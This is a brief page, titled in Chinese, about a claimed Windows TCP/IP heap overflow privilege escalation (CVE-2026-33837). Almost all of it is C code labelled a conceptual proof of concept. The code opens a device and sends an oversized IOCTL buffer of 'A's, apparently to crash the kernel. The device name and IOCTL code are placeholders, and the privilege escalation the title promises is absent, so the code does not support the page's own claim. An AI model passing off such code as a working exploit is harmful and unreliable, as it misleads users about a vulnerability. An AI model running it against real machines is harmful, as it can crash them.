CVE-2026-33837 Windows TCP/IP堆溢出提权漏洞

/* * Conceptual Proof of Concept for CVE-2026-33837 * This code demonstrates the trigger mechanism for a local kernel buffer overflow. * Note: This is for educational analysis only. */ #include <windows.h> #include <stdio.h> #define VULN_DEVICE_NAME L"\\.\\TcpIpDevice" #define VULN_IOCTL_CODE 0x00120000 // Example IOCTL code int main() { HANDLE hDevice; BYTE buffer[0x1000]; DWORD bytesReturned; // Initialize buffer with pattern (e.g., 'A's) to trigger overflow memset(buffer, 0x41, sizeof(buffer)); printf("[+] Attempting to open device...\n"); hDevice = CreateFileW(VULN_DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Sending malicious IOCTL request...\n"); // Send the buffer to the driver to trigger the heap overflow BOOL result = DeviceIoControl(hDevice, VULN_IOCTL_CODE, buffer, sizeof(buffer), NULL, 0, &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] IOCTL sent successfully. Check for BSOD or debugger hit.\n"); } CloseHandle(hDevice); return 0; }